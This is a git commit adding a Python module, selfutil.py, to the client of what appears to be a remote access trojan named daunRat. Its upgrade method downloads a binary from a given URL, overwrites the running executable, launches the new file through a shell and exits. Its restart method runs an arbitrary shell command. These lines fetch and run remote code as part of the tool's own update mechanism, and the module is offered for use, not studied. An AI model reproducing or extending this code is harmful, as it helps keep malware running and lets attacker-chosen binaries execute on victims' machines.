self utils added
This commit is contained in:
19
client/modules/selfutil.py
Normal file
19
client/modules/selfutil.py
Normal file
@@ -0,0 +1,19 @@
|
||||
class daunrat:
|
||||
@staticmethod
|
||||
def upgrade(url: str, old: str = "daunRat.exe", destination: str = "daunRat.exe", command: str = "daunRat.exe"):
|
||||
import requests
|
||||
import subprocess
|
||||
import sys
|
||||
import os
|
||||
os.rename(old, "olddaun")
|
||||
with open(destination, 'wb') as f:
|
||||
f.write(requests.get(url).content)
|
||||
subprocess.Popen(command, shell=True, close_fds=True)
|
||||
sys.exit(0)
|
||||
|
||||
@staticmethod
|
||||
def restart(command: str):
|
||||
import subprocess
|
||||
import sys
|
||||
subprocess.Popen(command, shell=True, close_fds=True)
|
||||
sys.exit(0)
|
||||
Reference in New Issue
Block a user